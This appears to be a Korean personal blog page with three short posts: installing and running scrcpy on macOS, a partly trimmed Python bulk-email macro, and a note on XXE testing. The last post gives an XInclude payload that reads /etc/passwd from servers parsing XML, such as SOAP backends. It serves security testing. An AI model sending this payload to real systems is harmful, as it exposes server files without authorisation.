Git : https://github.com/Genymobile/scrcpy

 

GitHub - Genymobile/scrcpy: Display and control your Android device

Display and control your Android device. Contribute to Genymobile/scrcpy development by creating an account on GitHub.

github.com

 

1. Mac에서 설치 시 Xcode가 미리 설치되어있어야 한다.

xcode-select --install

 

2. Mac에서 설치 시 brew가 미리 설치되어있어야 한다.

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

 

3. scrcpy 설치

brew install scrcpy

 

4. 실행

% adb devices
192.168.22.20:5555 device
192.168.22.30:5555 device
192.168.22.37:5555 device
% scrcpy -s 192.168.22.37
2021-08-04 14:44:16.224 scrcpy[15489:911208] INFO: scrcpy 1.17 <https://github.com/Genymobile/scrcpy>
adb: error: failed to get feature set: device '192.168.22.37' not found
2021-08-04 14:44:16.230 scrcpy[15489:911208] ERROR: "adb push" returned with value 1
scrcpy(15489,0x11e4a0e00) malloc: *** error for object 0x7fb3aa6070e0: pointer being freed was not allocated
scrcpy(15489,0x11e4a0e00) malloc: *** set a breakpoint in malloc_error_break to debug
zsh: abort      scrcpy -s 192.168.22.37
rei@reid-1pc bin % scrcpy -s 192.168.22.30
2021-08-04 14:44:18.187 scrcpy[15491:911400] INFO: scrcpy 1.17 <https://github.com/Genymobile/scrcpy>
/usr/local/Cellar/scrcpy/1.17_1/share/scrcpy/s...d, 0 skipped. 0.6 MB/s (34930 bytes in 0.057s)
adb: error: more than one device/emulator
2021-08-04 14:44:18.291 scrcpy[15491:911400] ERROR: "adb reverse" returned with value 1
2021-08-04 14:44:18.291 scrcpy[15491:911400] WARN: 'adb reverse' failed, fallback to 'adb forward'
27183
[server] INFO: Device: samsung SM-N920S (Android 7.0)
2021-08-04 14:44:19.168 scrcpy[15491:911400] INFO: Renderer: metal
2021-08-04 14:44:19.172 scrcpy[15491:911400] INFO: Initial texture: 1080x1920

 

여친의 부탁으로 메일보내기 매크로를 작성했었다. 
맥에서 작성해서 줬는데 윈도우의 인코딩 문제란 ㄷㄷㄷ

Ref : docs.python.org/3/library/email.examples.html

 

email: Examples — Python 3.9.4 documentation

Here are a few examples of how to use the email package to read, write, and send simple email messages, as well as more complex MIME messages. First, let’s see how to create and send a simple text message (both the text content and the addresses may cont

docs.python.org

설정 환경

- 윈도우 계열 (윈도우7 / 10 에서 테스트함)

- python3

 

불필요한 import 가 많으므로 알아서 수정해서 쓸것..

예시 코드를 보면 여러 방법이 있는데 이게 젤 깔끔하게 메일이 가더라.

일부 코드는 삭제함.

 

코드

#-*- coding:utf-8 -*-
# SendMail Macro Ver 0.1 - with Py3

import smtplib, io, mimetypes, os, sys

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from string import Template
from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

my_Id = "아이디"
my_Mail_Addr = "메일주소" # 예) gmail.com
my_ID_Mail_Addr = my_Id + "@" + my_Mail_Addr
my_Pwd = "비밀번호"

my_Username = "보낼사람이름" # 이메일 앞에 이름 지정

attached_File = "첨부할파일명" # 첨부파일명
my_subject = "메일 제목" #제목

def read_template(filename):
    with io.open(filename, 'rt', encoding='utf-8') as template_file:
        template_file_content = template_file.read()
    return Template(template_file_content)

def send_MyEmail( receive_Hangul_Name, receive_Email_Id, receive_Email_Addr, mail_body ):

    s = smtplib.SMTP_SSL(host="SMTP 주소", port='465')
    s.login(my_ID_Mail_Addr, my_Pwd)

    # EmailMessage 형태
    # Ref : https://docs.python.org/3/library/email.examples.html
    msg = EmailMessage()
    msg['From'] = Address(my_Username, my_Id, my_Mail_Addr)
    msg['To'] = Address(receive_Hangul_Name, receive_Email_Id, receive_Email_Addr)
    msg['Subject'] = receive_Hangul_Name + my_subject
    asparagus_cid = make_msgid()
    msg.add_alternative(mail_body.format(asparagus_cid=asparagus_cid[1:-1]), subtype='html')
    
    ## 첨부파일
    path = os.path.join('.', attached_File)
    ctype, encoding = mimetypes.guess_type(path)
    if ctype is None or encoding is not None:
        ctype = 'application/octet-stream'
    maintype, subtype = ctype.split('/', 1)
    with open(path, 'rb') as fp:
        msg.add_attachment(fp.read(), maintype=maintype, subtype=subtype, filename=attached_File)
    s.send_message(msg)
    

def main():
    with open('list.txt', 'r', encoding='UTF8') as fp:
        receiver = fp.readlines()
        for line in receiver:
            receive_Hangul_Name = "보낼사람 이름"
            receive_Email_Id = "보낼사람 메일 ID"
            receive_Email_Addr = "보낼사람 메일 주소"

            # 보낼 내용은 for_send_msg.html 파일에 HTML 형태로 작성해 둘 것.

            mail_body = read_template('for_send_msg.html').substitute() # substitute 뭐하는 놈이지?
            send_MyEmail( receive_Hangul_Name, receive_Email_Id, receive_Email_Addr, mail_body )

            if os.path.isfile(for_send_msg_file):
                os.remove(for_send_msg_file)


if __name__ == '__main__':
    main()

 

 

 서버로 XML 데이터가 넘어갈 때, 기존 XXE 공격 벡터와 함께 아래의 XInclude 공격 벡터도 활용가능.
 사용자 입력값으로 DOCTYPE element를 제어할 수 없어서 기존의 XXE 공격벡터들이 통하지 않고, 벡엔드에서 SOAP가 사용될 때 유효한 공격 벡터

 

<foo xmlns:xi="www.w3.org/2001/XInclude">

<xi:include parse="text" href="file:///etc/passwd"/></foo> 

+ Recent posts